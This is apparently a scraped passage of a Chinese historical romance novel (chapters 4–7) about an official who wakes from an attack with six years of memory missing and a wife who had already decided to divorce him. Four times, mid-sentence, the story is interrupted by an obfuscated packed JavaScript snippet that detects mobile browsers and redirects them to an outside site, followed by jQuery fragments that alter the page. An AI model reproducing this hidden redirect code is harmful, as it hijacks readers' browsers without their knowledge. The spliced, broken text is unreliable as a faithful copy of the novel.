苏见微却没看他,而是看向大夫道:“这儿以前的确是公公起居之所,大夫想必也知道,我公公在四年前病故,过了两年,夫君为办公方便,就搬到了这里。” 陆绍宁听闻此言,神色大惊。 焦大夫看向他,问:“大人知道此事吗?” 陆绍宁回道:“不知。”说完问苏见微:“父亲亡故了?四年前?这是什么意思?” 焦大夫又问:“那大人也知道自己是谁?这位是谁?”他指向苏见微。 陆绍宁很快回答:“我是陆家长子,字承安,今年二十一,去年中进士,如今正在翰林院供职,这位是我妻子,为城东苏家长女,我二人成婚半月。” 他回得十分清晰,也让焦大夫与苏见微立刻明白了情况:他的记忆里,丢失了将近六年的时间! 苏见微的神色很忧心,不知这代表什么,陆绍宁看着二人神色,不知道自己出了什么问题,便问:“怎么了?” 他问着,看向苏见微,苏见微回道:“夫君说的,是六年前,如今我们已成亲六年,公公离世,婆婆不忍独居,去了相国寺修行,夫君也不在翰林院,在大理寺任寺丞,前夜不知为何独自出去,遇袭受伤,在床上躺了两日,此时才醒。” 陆绍宁目光怔怔,似乎难以接受这样的事。 焦大夫将一只手伸出来问:“大人可识得这是几?” 陆绍宁虽震惊,却也知道大夫正在判断自己的情况,很快收回情绪,认真答道:“五。” 大夫又指自己身上的衣服:“这是什么颜色?” “青色。” “夫人身上呢?” “竹青。” “大人将右手握成拳头。” 陆绍宁照做。 “五指张开。” 陆绍宁仍然顺利完成。 大夫看向苏见微,道:“劳烦夫人拿一本书来。” 陆绍宁床边就放着书,苏见微挑出一本《资治通鉴》来递给大夫。 大夫随后翻开一页,朝陆绍宁道:“大人可否将这一页文字念出来?” 这是他几乎会背的一页,陆绍宁也是不费吹灰之力,将文字念出。 念了一段,大夫便道:“好了。”将书拿回来交与苏见微,又问:“除了头疼,大人可还有哪里不舒服?” 陆绍宁道:“左肩,胳膊肘和腿,后背似乎也疼。” 两人都知道他左肩中暗器,胳膊肘划了道口子,腿有青紫和擦伤,后背也有撞击伤,这些伤虽没脑后伤那么严重,但疼是肯定的。 大夫又把过脉,说道:“眼下所看,陆大人除了失去六年记忆,没有别的不适,余下只等继续恢复。” 苏见微问出了陆绍宁想问的话:“那我家夫君的记忆该怎么恢复呢?” 焦大夫回道:“关于这点,恐怕不只是老朽,孙院正也毫无办法,也许假以时日能好,也许一辈子也不会好,又也许,还有别的症状会显露,只看之后数月病情又会如何。” 苏见微此时明白了,对于脑子里的病,大夫无能为力。他们只能治后脑的外伤,至于其它,便只能听天由命,看陆绍宁自己的造化。 苏见微很快想,失去六年记忆,在日常琐事上好像没什么大的影响,可陆绍宁的官职仕途呢?这会不会影响他的能力和判断,让太后觉得他无法胜任大理寺丞一职,从而再将他调回翰林院? 那对他来说,无疑是致命的打击。 但从他的角度想,他并没有升任大理寺丞的记忆,也许没那么难受? 此时焦大夫道:“大人既已醒来,就可以让人去煎药了,大人先吃些东西,再喝药。” 苏见微想了起来,连忙应下,然后朝大夫道:“夫君虽已醒来,但今夜天色已晚,又恐晚上有意外,还须劳烦大夫在府上再住一夜,换洗衣服之类,我让人去大夫家中取来。” 焦大夫点头答应,又看了看陆绍宁,这才离去。 苏见微问陆绍宁:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529811|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿了吗?想吃些什么?粥?” 陆绍宁在伤中,自然没什么胃口,但确实能感觉到腹中空空如也,只想喝点粥。 苏见微说道:“厨房备着鸡丝粥,我让人端来。” 陆绍宁又“嗯”了一声,苏见微吩咐下去,随后又看向他:“粥大概无须太久,要不要先靠一会儿?” “好。”他答。 她便在他身后放了靠枕,扶他靠着。 陆绍宁顺势拉住她的手:“你一直守在我床边?眼睛都熬红了。” 苏见微有些错愕,几乎想抽出手,却又觉得不合时宜,哪怕他没失忆他们也是夫妻,没必要如此泾渭分明。 她便没有动,任他握着自己的手,带着几分客气道:“你能安然醒来就好。” 这是事实,也是此情此境应该说的话,陆绍宁却觉出她的贤惠关心,回道:“出这样的事,让你受累了。” 苏见微不知能说什么。 他又问:“我父亲是怎样离世的?生病还是……” 苏见微回道:“是生病,脑疾,病来得快,人也走得急,从病发到离世,不过半月。好的是人没怎么受罪。” 听闻父亲离世的情况,陆绍宁神色黯然,一言不发。 苏见微安慰道:“父亲走的时候,你一直陪伴左右的,应该是该说的话都说了,不曾留遗憾。” “可惜,我此时竟都忘了,这样大的事都忘了。”陆绍宁失落道。 “会想起来的,明日再让孙院正来看看。” 好一会儿,他才问:“那母亲呢?” 苏见微说:“父亲离世后,母亲哀伤,不愿睹物思人,就执意搬去了相国寺做居士,青灯古佛,过得十分清俭,但也安逸。” “相国寺……”陆绍宁又是沉默不语。 怕他担心,苏见微继续道:“我每月会去看她,看看她可有缺衣少食,杜妈妈也陪在她身边,只是这一回你受伤,我怕母亲无端忧心,就没让人去通禀。” 陆绍宁看向她:“确实不必去通禀,徒劳她挂心。” 他想了想,又问:“既然父亲离世,我该守孝,为何又升了职?” 苏见微想他大概迅速就收拾了情绪,察觉到了里面的逻辑,便解释道:“夫君的确上报了孝期,才守孝数月,恰逢先皇驾崩,当今皇上、也就是之前的太子登基,曾经的申皇后做了太后。 “那时正好出了一宗谋逆案,牵连好多老臣,朝廷职位空虚,太后便亲自下了懿旨让夫君夺情上任,且直接升任大理寺正,又过两年,升任大理寺左丞。 “如今的大理寺卿是申怀仁大人,大理寺少卿为李钦大人,大理寺右丞名为周显阳,前日得知夫君受伤后来探望过。” “申怀仁,那是皇……太后的堂兄。” 而李钦,资历虽老,却是万事不沾身,所以如今的大理寺便全掌控在申怀仁手中,也就是太后手中。 陆绍宁沉默不语,苏见微问:“这些事,夫君有印象吗?” 陆绍宁轻轻摇头:“没有,记不起分毫。” 看着他,苏见微几乎就想问:“那你记得你新收的蓁蓁姑娘吗?还有醉花楼那个给你写诗的花魁娘子红颜知己?” 但这话太小性,他又在伤中,还不知后面是什么情况,她忍着什么都没说。 5. 第 5 章 陆绍宁问:“除此之外,还有其他大事吗?” 苏见微回忆这些年的事,黯然道:“四皇子因伤寒病故,我姑姑苏贵妃没多久也去世了,还早于先皇驾崩,待先皇驾崩,我父亲就受贬去了岭南;这两年许多人都受贬或是伏诛,譬如襄王、梁王、吴王,都因谋逆而受处决;另有小叔在京郊虎贲营中任校尉,偶尔才回来,这次夫君受伤我也不曾专门去告知,只待夫君情况稳定再说。” 陆绍宁迅速接收着这些消息,判断时局的变化,随后拉起她的手,安慰道:“原来短短几年发生这么多事,官员受贬是常事,岳父日后还有机会回来的。” 苏见微心头一怔,当初她姑姑离世,苏家败落,父亲受贬,他是不曾有过安慰的,甚至很快他就站到了皇后那一派,成为皇后的宠臣,她当然也曾失落过,没想到时隔三年,他倒说了这样的话。 她不知该用怎样的态度应对,只好低下头去,似乎是伤心落寞。 陆绍宁握着她的手迟迟没有松开,两人彼此陪伴着经历了这些,大有一种同舟共济的意味。 直到外面传来动静他才将手松开,是下人端着粥来了,苏见微也抬起头来接过粥,然后递给他,说道:“不烫,是温的,你吃一点吧。” 陆绍宁动了动胳膊,回道:“胳膊肘疼。” 苏见微迟疑一下,“那……” “你喂我吧。”陆绍宁说。十分自然,又带着几分亲昵。 苏见微很不适应,但心想,好歹他们还是夫妻,他也确实不方便,喂就喂吧。 便端了粥碗,一勺一勺喂他。 陆绍宁吃得不多,吃了大半碗便不吃了,又喝了几口汤,似乎头疼,让她扶他半躺着。 发生了太多的变化,他一时半会儿难以接受,如此沉默着躺了一会儿,才又问:“你说我是因何受伤?” 苏见微说道:“你前夜独自一个出去,不知是遇了刺客还是怎么,摔落飞虹桥,正好被巡城禁军撞到,将你救了回来,发现你身中暗器,周显阳大人说是袖箭,但目前还不知是什么人做的。” 虽说过去的事是大事,可那些事都过去了,眼前的事才是最要紧的。 陆绍宁疑惑道:“我夜里独自一人出去?去做什么?谁也没带?” “是,谁也没带,永兴在偏房值夜,你出去他也不知道。”苏见微说。 陆绍宁又问:“也没和你说?我起身你也不知?” 很明显他大约以为两人睡在一起,他是从她身边起身离开的,苏见微提醒:“你在这里就寝,我那时已回了暗香馆,你没同我说。” 陆绍宁这才想起来自己现在在起云堂,不在两人的新房。 她之前也对大夫说了,他忙于公事,就搬到了起云堂。 陆绍宁带着几分歉疚温声道:“辛苦你了,既是太后当政,我又才升职,想必日夜忙公事,家事全靠你操劳。” 这倒说的是真的,她发现他果真很聪明,就算是失忆,也能在知晓现状后迅速判断出眼下的形势,她没说过太后当政,他却已猜到了。 怕他思虑太多,她问:“要不要睡一会儿,眼下最重要是养伤。” 陆绍宁回答:“睡也睡不着,你睡吧,我一直在睡,倒是你想必一直没合眼。” “我还好,眼下还早,待晚一些再睡。她说。 这会儿柳语过来,问苏见微道:“夫人,奶娘说小七今日下午可能是吹了风,有些流鼻涕,晚上咳了两声,要不要喂些药?” 苏见微道:“就喂些琵琶露吧,明日看看情况。她还没睡么?” “就要睡了,入夜说要见夫人,闹了一会儿。” “好,让她快睡吧,越是不舒服越要多睡一会儿。” 柳语领命下去了,陆绍宁看向她问:“小七是谁?” 苏见微平静回答:“是我们的女儿,今年五岁。” 陆绍宁微惊,马上拉着她问:“你刚才怎么没说我们有女儿了?” 苏见微无话可说,她确实没想到小七,因为她觉得陆绍宁首要关心的当然是自己在意的大事,他从不在意小七,说来做什么? 半晌她才道:“还没来得及,今日中午奶娘带她来看过一次,怕她吵闹,又将她抱走了。” “她咳嗽,又要睡了?”陆绍宁问,随后道:“你若早说,我便见见她。” 突然失去了六年,他难以想象自己的女儿长什么模样。 苏见微道:“那明日一早我让奶娘带她过来。” “那是自然。”陆绍宁道,随即似乎不可置信地喃喃道:“我竟都有女儿了……不知她长什么模样。” 苏见微不说话。 他又问:“你说她五岁?是虚岁五岁了?” “是满五岁了,虚岁六岁。” “那就是我们才成婚就有了她?”他问。 苏见微点头:“差不多成婚两三个月怀上的。” 陆绍宁露出轻柔的笑来,相比刚才父亲离世、母亲离家的哀伤,先皇驾崩、自己遇袭的紧张形势,这算是最好的消息。 不管怎么说,身居高位、妻儿相伴,这未来的一切,似乎正是自己想要的。 两人又坐了一会儿,苏见微又说了些身边发生的事,陆绍宁多问了一些,到夜深,毕竟是重伤,陆绍宁累了,苏见微也累了。 苏见微道:“我去旁边榻上躺一躺,再让你熟悉的珍珠在你床前看着,你有事便叫人。” 陆绍宁拉住她道:“那榻上不舒服,要不然你就睡在我身旁?” 苏见微心中竟涌起几分尴尬,马上道:“你有伤,别让我撞着了你,那榻还好,我之前躺过,不觉得不舒服。” 陆绍宁惭愧又无奈地朝她道:“那你好好休息,不必担心我。” 苏见微看他一眼,将丫鬟叫来值夜,自己去了隔间的睡榻上休息。 其实这几日都很累,当然困乏,可如今躺着,却睡不着。 陆绍宁醒来了,却失忆了。 竟会失忆,怎么会失忆呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529812|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她大概能揣摩到他的心理,自己从重伤中醒来,见到新婚燕尔的妻子寸步不离守着自己,得知时间已经过去六年,两人一同经历许多风雨,又已有女儿,可想而知,感情十分真挚。 甚至他们真实的情况,许多府中下人都是不知道的,毕竟他们从未起争执,只是疏离不说话而已。 如今他这样,那她又该如何呢? 他还要养伤,还不知记忆什么时候能恢复,他被什么人袭击也毫无眉目,所以她不能贸然告诉他两人准备和离的,也没必要,当务之急,就是让他快点养好伤。 但是,她也不能过于沉溺,他伤了脑子,她没伤,若她当了真,有一日他恢复了记忆,那岂不是个笑话? 所以她只能任由他误会着,还是承担着妻子的职责照顾他,至少待他头上的伤好了再说。 陆绍宁毕竟是受了伤,比她睡着得快一些,她知道多想也是无益,只好强迫自己尽快睡去。 翌日一早,苏见微要去暗香馆洗漱,换一身衣服,陆绍宁提醒道:“若小七醒了,你就带她过来。” 苏见微点头答应。 小七是个十分乖巧的孩子,每日起居都有规律,她过去时,小七已经起来了,坐在床上让奶娘在梳辫子,看见她,欢喜地叫了一声“娘”,伸手要抱她。 苏见微这几日照顾陆绍宁,几乎没有管她,此时也思念心切,过去将她紧紧抱住。 “小七昨晚睡得怎么样?还咳吗?” 奶娘回道:“昨晚喝了枇杷露,今日一早起来没听见咳,大概是好了。” “那就好。”苏见微看着女儿道:“你一生病娘就忧心,如今大了,病也容易好了。”说着摸了摸她头上的辫子:“这绢花扎在我们小七头上真好看,等你梳了头,吃点东西,娘带你去看爹爹,爹爹醒过来了。” 小七乖乖地点头。 苏见微自去梳洗换了衣服,等她弄好,小七也吃了两个包子,她便带着女儿去往起云堂。 走到半路,她想了想,说道:“待会见了爹爹,就叫他。” “嗯。”小七认真地点头,脸上却带着几分不安和胆怯。 她和陆绍宁见面实在太少了,甚至陆绍宁几乎没抱过她,更别提逗她、带她玩耍,偶有的几次见面也是神色疏离严肃,小七对父亲的印象,大概和族里的什么四叔、五爷爷差不多,只是一个认识的符号而已。 到起云堂,苏见微牵着女儿入内,陆绍宁正坐在床头,似乎早已等着她们,待两人一进门,他的目光就直直投向小七,一动不动看着。 小七被牵着走到床边,还记得娘亲的话,轻声道:“爹爹。” 陆绍宁说不出这一刻的感受,他明明才成婚,却已有了个这么大的女儿;女儿都这么大了,他却连她如何出生、如何长大都忘了。 他伸出手,试探地拉起女儿的小手,生疏地喊她:“小七。” 这时他想起了什么,问苏见微:“她叫小七,是因为出生在七月么?” 6. 第 6 章 苏见微点头:“是的,七月初七。” 陆绍宁一怔,“那岂不是就在两日前,是我受伤那一天?” “嗯,是的。” 陆绍宁看着小七一笑:“爹爹受了伤,都忘了,原来小七满五岁了,生日是怎么过的?” 小七回答:“和萍姐姐一起玩,还吃了雪酥山,还打了耳洞,娘说我以后就可以戴好看的耳环了。” 陆绍宁看看她小小的耳朵,笑道:“小七喜欢什么样的耳环,爹爹到时给你买。” 爹爹从未和她说过这么多话,也没这样对她笑过,更没说过要给她买什么,小七有点好奇,又有点高兴,歪了头一动不动看着他。 陆绍宁一直拉着小七的手,忍不住摸了摸她柔软的头发,又摸了摸她小巧的脸蛋,她实在是个好看的小女孩,眉清目秀,看着是那种文静乖巧的性子。想来他和苏见微的女儿,大概就该是这模样。 他问:“小七的大名是什么?” 苏见微平静道:“还没取。” 陆绍宁吃惊:“还没取吗?怎么没取呢?” 苏见微沉默,她也不知道。 当初还在孕中,他就开始忙公务,时常晚归,也偶尔睡在书房,有一回她见他回得早,就问他,陆家大伯的孙子刚取了大名,单名一个“锋”,自家孩儿是不是也要取单字,从“金”字,他那时只淡声回:“到时候再说吧。” 然后就没了下文。 而她也从他这语气中看见了不耐和敷衍,从此再没提过此事。 直到女儿出生,那时他正好陪先皇去避暑,一去四个月,女儿出生那日是七月初七,她就暂且取了小名小七,等着他回来取名,但他回来,也没有想起名字之事,她心里早有怨气,便也没主动提,加之取大名本就不着急,于是一直拖到了现在。 如今想来,其实早在孕中,他就已态度冷淡了,无论对她还是对女儿。 往事在心底浮现,她有些淡淡的郁气,却没表现出来,只是平静回道:“没想到好的,女孩子也不着急。” 陆绍宁道:“该取了,女孩也要读书,咱们的女儿哪能不识字?等我养好了伤,或是将她送族学与族中子弟一起读书,或是另请合适的先生,既然读书,就要先取了大名。” 苏见微不由看他一眼。 她也想着该让小七读书识字了,但在安排这事之前,先向陆绍宁提了和离。 于是那一晚,她打算带小七去睦州,请先生在家中教,也想好了取名的事,名字还没定,但应该是直接让她随自己姓苏了。 陆绍宁不知她心中所想,一边看着小七,一边若有所思,再对小七笑道:“待会儿我拿来《诗经》,《楚辞》,还有几篇赋文,给咱们小七取个好名字。” 小七静静看着他,问:“爹爹的伤好了吗?” 小小的人儿用软糯的话关心自己,陆绍宁第一次有一种享受天伦的愉悦,回道:“好了一点,还没完全好,待完全好了,爹爹带你出逛庙会。” “好,我喜欢逛庙会,有小猴子推车,还有观音跳舞。” 陆绍宁又笑了:“观音跳舞,这是现在的杂戏?这些伶人真能折腾新把戏,爹爹都没见过。” “爹爹的头疼吗?”小七又问。 她没见过人将头包扎起来,所以一直盯着陆绍宁头上缠着的纱布看。 陆绍宁说道:“有一点,但和小七说话就不疼了。” “爹爹要少说话,多睡觉,娘说的,病了就要多睡觉。” 陆绍宁看看苏见微,笑道:“爹爹这几天都在睡觉,所以好多了。” 他与小七说了好半天话,直到丫鬟说萍萍来找小七玩,小七高兴地往外挪了一步,却又回过头来看向陆绍宁,似乎在犹豫,好似小小的她已经能判断出这时候跑出去玩不太好。 陆绍宁将她的神情尽收眼底,好笑地摸着她头道:“快去玩吧,待会儿太阳大了记得回阴凉地方,别在外面晒。” “嗯。”小七便拉着奶娘出去了。 陆绍宁看着她的身影,直到她彻底离开视线。 他低声道:“原来我的女儿是这个样子。” 苏见微问他:“是夫君想象中的样子吗?” 陆绍宁回道:“以前倒没想过有女儿会长什么样,现在想,大约就是小七的模样吧,眉清目秀,聪慧娴静。” “那夫君喜欢她么?”苏见微问。 陆绍宁略微诧异,问她:“这是何意?世上哪有父母不爱子女?”话说完,他却顿了顿,转而缓慢而坚定道:“自然是喜欢的。” 说完看向她:“我见小七对我并不熟悉亲昵,可见以往我定是醉心公务,陪她极少,想必平时都是你在操劳,委屈你了。” 苏见微看向他,好久,才说道:“夫君心系着朝廷大事,我照顾儿女也是应该的。” 陆绍宁朝她伸出手,她犹豫一下,缓缓将手伸了过去。 他将她手牵住,拉着她,让她坐到床边,靠到了自己怀中。 “可到我受伤,衣不解带照顾我的是你,我若有事,孤苦无依的也是妻儿,朝廷那么多官员,等待做官的那么多,哪里又缺我这一个?” 苏见微僵着身子,只轻轻挨着他胸前,不敢将自己完全靠在他身上。 这些话是她以前从没听过的,没想到在决意和离之后,却听他说出。 所以,这是初成婚时他的想法?那是什么,让他变了? 这时陆绍宁不知想起了什么,问:“我们只有一个女儿么?” 苏见微从他怀中起身,缓声道:“只有一个。” 陆绍宁没说话了,苏见微不知为何,也许是觉得失忆后的他热络一些,好说话一些,忍不住问:“夫君是失望了么?” “失望什么?”他问。 她回:“失望只有一个女儿,只有女儿。” 陆绍宁很是奇怪:“这是什么意思?” 苏见微垂头道:“女儿究竟不比儿子金贵。” 陆绍宁马上道:“你这是哪里的话?我们的女儿,哪里不金贵了?” 说完他问:“是母亲和你说什么了吗?还是父亲在世时不高兴了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529813|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏见微很快道:“没有,我只是随口问起。” 事实上,当初小七出生,公婆的态度都淡淡的,那没有什么,因为婆婆一直是那样,好似没有她在意的事;公公呢,她与他见面极少,也不在意,她只在意他这个丈夫的态度,而他则是看上去最冷淡的那一个。 陆绍宁解释道:“我方才那样问,只是有些意外……你我正当盛年,晚上也没闲着,成婚这么久,竟然才一个孩子。” 他说话时脸上带了几分挑弄与促狭,让苏见微十分不适应,几乎尴尬脸红,不由低下头去,口齿都有些不清晰:“我,我也不知道……而且你后来就很忙了,不像之前那样……” 已经走到尽头的夫妻说起这些,实在让人受不了。 “是这样么?我不信,不可能吧?”陆绍宁觉得不可思议,他知道自己的记忆停留在刚成婚时,自己才二十一岁,才入仕途,也一心有所抱负,他在翰林院并不清闲,却仍然很享受与沉溺和妻子的闺房之乐,他不解自己会在六年后变得忙于公务,冷落妻子。 明明此时的自己也不过二十七岁,妻子也是记忆中那温婉聪慧、典雅动人,能有什么不同? 苏见微在和他说这些时,总会无端想起某一日他突然清醒过来,回到那样冷漠、疏离而又威慑的模样,她不想让那时的他觉得她很可笑,所以维持着清醒与端庄,低下头道:“大理寺的职责毕竟重一些。” 陆绍宁想到了自己所住的这间房,这里放着许多书本信件,他用惯的砚台也在这里,衣物也不少,却不见她的,可见他确实常在这里忙公务,竟将她一人扔在暗香馆。 而她言语中仍然温和,没有一丝抱怨。 他叹声道:“我失去了六年,不知道发生了什么,也许是朝局变动让我心忧,也许是一心钻营让我忘记了家人,但以后不会了,人生又有几个六年?以后我会多陪你和女儿。” 苏见微抬眼看他,说不出话来。 此时外面传来脚步声,她连忙往后挪了挪,与他拉开距离。 珍珠进房道:“夫人,大人,外面有大理寺的官员来了,说听闻大人清醒,来探望大人。” 既是大理寺官员,不好不见,苏见微看向陆绍宁,他一早也换了衣服,尚算整齐,只是头部受伤,因此不能束簪,只能披发,她替他将头发理了理,问他:“现在见吗?” 陆绍宁“嗯”了一声,神色严肃了很多。 来的又是周显阳,见陆绍宁醒来,表现得十分欢喜,又问了许多,得知陆绍宁失去六年记忆,震惊又叹息,随后问起他那夜遇袭的事,还说起大理寺里面一些事,见陆绍宁全都不知,便又关心几句,这才离开。 他走后,陆绍宁问苏见微:“我只记得我尚在翰林院他就在大理寺,当时是大理寺正,我调去大理寺后与他关系如何?” 苏见微摇头:“我不知道,夫君在家中很少提朝廷的事。” 这点倒是真的,不管是新婚还是关系冷淡后,他都很少和她说公务上的事。 陆绍宁陷入沉思,不知在想什么。 7.第 7 章 没一会儿,珍珠又来通报,刑部官员来了。 这自然是来问案情的,又不能不见。 苏见微再次扶陆绍宁坐好,让他见查案的刑部官员。 事实上这见也是白见,因为关于遇袭、关于所查犯人,他都一无所知,什么也问不出来。 里面有个查案老手名迟千山,甚至怀疑陆绍宁是装的,只因这铁矿案案情重大,怕出事,陆绍宁无奈,好半天才说明自己是真什么都不记得了。 刑部官员只能接受,再次询问永兴,得到与之前同样的回答,待让永兴离开,过了会儿却又问起苏见微:“除这小厮外,夫人也是最后见过大人的,您二位说了什么?” 陆绍宁看向苏见微,苏见微迟疑一下,回道:“那一日是我家女儿的生日,夫君却回来得晚,我便过来看看……他说公务有些忙,也有应酬,这才弄得晚,让我先回去歇息,我就回去了。他平日不太和我说朝中的事,我也知案情关系许多机密,便不会主动问。” “所以,只是家中琐事,陆大人没和夫人透露其他?”查案官员问。 苏见微点头。 她知道自己的隐瞒也许会影响案情的进展,但要如何当着这些陆绍宁的同僚说那一晚她闻到他满身酒气胭脂,实在厌烦透顶,所以和他说了和离,而他也干脆答应呢? 那样也许受袭真相没找出来,陆家后院的非议就满天飞了。 想来想去,他们决定和离,和他遇袭不会有任何关系,隐瞒应该问题不大。 好在刑部官员也不觉得从后院妇人口中能问出什么,待了小半个时辰就离去了。 之后是大夫看诊。 临到正午,宫中内侍过来了,为太后所派,代太后来问陆绍宁伤情。 再一番恭敬接待后,陆绍宁累了,躺下睡去。 可就在他睡去之后,陆绍宁的同窗好友、现在工部任职的卢子越来了,说是听闻陆绍宁受伤,赶紧来探望。 苏见微知道他,他的确与陆绍宁有近十年的交情,陆绍宁那位外室,是一位才貌双全的商人义女,就是他牵线两人认识的。 这种朋友,哪能感情不好? 苏见微让他稍作休息,自己去陆绍宁卧房,等了一会儿,他总算醒来了。 她和他道:“卢子越来了,在茶室等着。” “卢子越?”陆绍宁先是一阵喜悦,随即却冷静下来,问她:“你如何同他说的?要不然便推了,说我伤重,精力不济,正在休养。” 苏见微有些意外,“我说你午睡了,大概半个时辰后会醒来,他已在外等候半个时辰了。” 如此就不好再让人走了。 陆绍宁道:“给我口水,我坐一会儿再见他。” 苏见微一边将他扶起身,一边去拿水过来,问他道:“你不想见他吗?你们是好友。” 陆绍宁说道:“曾经是好友,却不知现在如何,是真好友,还是逢场作戏的假交情? “按你所说,如今太后把持朝政,诛杀宗室诸王,皇上羸弱,朝中形势波云诡谲,我没了记忆,什么也不能辨别,还是小心些好。” 苏见微此时才明白陆绍宁竟如此谨慎,哪怕是多年好友,到了此时也不会完全相信。 她没再说什么,只等他休息好,才让人去通传卢子越。 卢子越在陆绍宁房中待了三刻才离开。 待他走,陆绍宁似乎是累了,让苏见微扶他躺下,却也没睡,只是睁眼看着床顶。 隔了一会儿,他说道:“我考虑一番,想暂且离开侯府。” 苏见微坐在床边,闻言问他:“为何?” 陆绍宁道:“我任大理寺丞,又经手朝中重案,还离奇遇袭,定是牵扯了许多机要,所以引得各路人马前来探察,而我不知道他们谁是友、谁是敌,容易出事。” 苏见微说道:“今日来的人要么是本就要来的,譬如大理寺的人,譬如刑部查案,或是与夫君相好的人,夫君对他们信不过?” 陆绍宁点头道:“就算是奉命查案,也可能被人买通;就算六年前我与子越是好友,六年后又是否情谊依旧呢?我总觉得有几人言语中带着探查,当今形势太复杂,皇室宗亲与朝中重臣必定各怀心思,而我如今一无所知,暴露在他们面前太危险了。” 苏见微认同他说的,他受太后器重,谁知背后是不是被人厌恶憎恨呢?也许就趁此机会谋害他。 而那暗中袭击者,至今还没有头绪。 他问:“那夫君想去哪里?” “京郊的竹叶村的庄子上,如何?至少等我养好了伤,精力足够了再回来。” 苏见微回道:“那里我只知道有别院,没去过,不知是不是适合养伤。” 陆绍宁十分惊讶:“你没去过?”随即又问:“我们不曾去过?” 苏见微点头:“是啊,倒是庄子上常送来一些莲蓬,瓜果,这时节母亲爱吃南瓜粥,我常将南瓜送去相国寺。” 陆绍宁若有所思,叹声道:“那这次去吧,就与太后说外出静养,正好远离这京城事非。” “可那么远的路,你能动身吗?”她问。 陆绍宁明显已经全都想过了,回道:“我不坐马车,坐轿子,就是慢一些,一日时间也能到。” 苏见微知道他已经作好了决策,且她也赞同他所说,不断有人来访,莫说他这个受伤的人,连她也累,而他不知那些人根底,难于应付,趁着外出养伤,清静一下。 至于和离一事的后续,至少要等到他伤好再说。 “那……”她想问是不是她和他一起去,但很明显,他是要她去的,这话似乎不必问。 陆绍宁自己下决定道:“我们尽快走,身边少带些人,还有小七,她想必也没去过?” 苏见微摇头:“没有。” 陆绍宁笑道:“她一定喜欢那里,那儿依山傍水,比这府上开阔许多。” “那我今晚就开始收拾东西,明日将事情安排好,请大伯母和二婶一起看管家中庶务。” “一切有劳你安排了。”陆绍宁说。 待喂他吃完,苏见微道:“今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542037|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚我就去暗香馆了,陪陪小七。” “你去暗香馆?”陆绍宁想了想道:“那我也去吧。” 苏见微连忙阻拦:“你不好起身,两地隔这么远,怎么走过去?” 陆绍宁不说话,这确实是个问题,太折腾。 苏见微又道:“就一夜时间,明日我再过来。” 陆绍宁无奈答应:“好。” 苏见微道:“那待会儿我就过去,让珊瑚来值夜,有什么事你叫她。” 陆绍宁回道:“你先替我擦洗一下,换身衣服,虽没动,但天热也流汗,难受。” 他说得十分随意,好似让她给他端碗水一样。 就她一人觉得尴尬。 当然,他受伤第二日就给他擦洗过,只是当时他不省人事,也是永兴永昌和她一起做的,主要是永兴。 现在却要让她来。 但是,也没什么,他们只是好久没同房,并非没同房过。 苏见微敛下心中万千思绪,“嗯”了一声。 没一会儿,打来了水,她拧了帕子,小心替他擦脸,脖子,然后解去衣衫,擦身上。 陆绍宁虽是文官,但陆家本是军功起家,小时候练过几天拳脚,长大也常骑马打猎,尚有武人的体格在,宽肩窄背,身上饱满结实,有一种男子的阳刚之气。 苏见微静默不语地替他擦完了身上,犹豫一会儿,和他道:“下面也擦么?” 陆绍宁莫名道:“怎么不擦?” 待看见她略显扭捏的模样,猜测她是不好意思,便笑道:“怎么,还害羞了,又不是没见过?” 苏见微又一阵窘迫,不由深吸一口气。 怎么就摊上这事,若没这档事,她此时已经在回睦州的路上了! 她只好不说话,假装十分自然地替他解裤子,脱下来,却只敢将目光虚看,不敢落到实处。 陆绍宁看着她,倒觉得饶有趣味,不由道:“我记忆里,你也羞涩,可那到底是新婚,如今六年过去了,孩子也有了,已是老夫老妻,你怎么还这般不好意思?” 她是不好意思,但更多是尴尬! 苏见微有些气恼地隔着帕子胡乱替他擦拭两把,回道:“你以为人人都像你这样没皮没脸!” 说完马上将被子替他盖上,遮住隐秘部位。 